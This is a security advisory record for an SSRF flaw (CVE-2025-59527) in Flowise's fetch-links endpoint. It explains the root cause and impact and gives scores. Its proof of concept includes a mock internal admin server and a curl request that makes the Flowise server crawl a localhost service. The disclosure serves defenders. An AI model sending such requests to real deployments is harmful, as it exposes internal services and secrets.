Advisory details:
github_osv / GHSA-hr92-4q35-4j3m
| Advisory ID | github_osv/GHSA-hr92-4q35-4j3m |
| Aliases |
CVE-2025-59527
|
| Summary | FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability ### Summary --- A Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints. ### Details --- #### Vulnerability Overview The `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links. The issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks. #### Root Cause The `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services. ### Taint Flow #### • Taint 01: Route Registration https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24 #### • Taint 02: Service https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18 #### • Taint 03: xmlScrape https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478 ### PoC --- #### PoC Description This vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token: ``` tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q ``` Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as: - `/api/users` (User Management) - `/api/secrets` (API Keys) - `/api/database` (Database Config) This demonstrated that an attacker could enumerate internal web service structures. #### Internal Admin Server (Mock) ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/') def admin(): return render_template_string(""" <html> <h1>Internal Admin Panel</h1> <ul> <li><a href="/api/users">User Management</a></li> <li><a href="/api/secrets">API Keys</a></li> <li><a href="/api/database">Database Config</a></li> <li><a href="/api/logs">System Logs</a></li> </ul> """) @app.route('/api/users') def users(): return render_template_string(""" <html> <h1>Users</h1> <ul> <li><a href="/api/users/admin">admin (root)</a></li> <li><a href="/api/users/operator">operator</a></li> </ul> <a href="/">Back</a> """) @app.route('/api/secrets') def secrets(): return render_template_string(""" <html> <h1>Secrets</h1> <ul> <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li> <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li> </ul> <a href="/">Back</a> """) if __name__ == '__main__': app.run(host='127.0.0.1', port=8080) ``` #### curl Request Example ```bash curl -G 'http://localhost:3000/api/v1/fetch-links' \ --data-urlencode 'url=http://127.0.0.1:8080/' \ --data-urlencode 'relativeLinksMethod=webCrawl' \ --data-urlencode 'limit=10' \ -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \ -s | jq '.' ``` <img width="1914" height="952" alt="image" src="https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3" /> ### Impact --- This is a **Server-Side Request Forgery (SSRF)** vulnerability. - **Who is impacted?** Any user running Flowise server exposed to external traffic. - **Risk:** Attackers can leverage the Flowise server to: - Explore internal web applications - Bypass firewall rules - Access sensitive administrative interfaces - Leak internal configuration, credentials, or secrets This vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.8 |
| Risk | 3.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-hr92-4q35-4j3m/GHSA-hr92-4q35-4j3m.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-09-22T20:25:46Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/59xxx/CVE-2025-59527.json
Source Advisory: vulnrichment/CVE-2025-59527
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]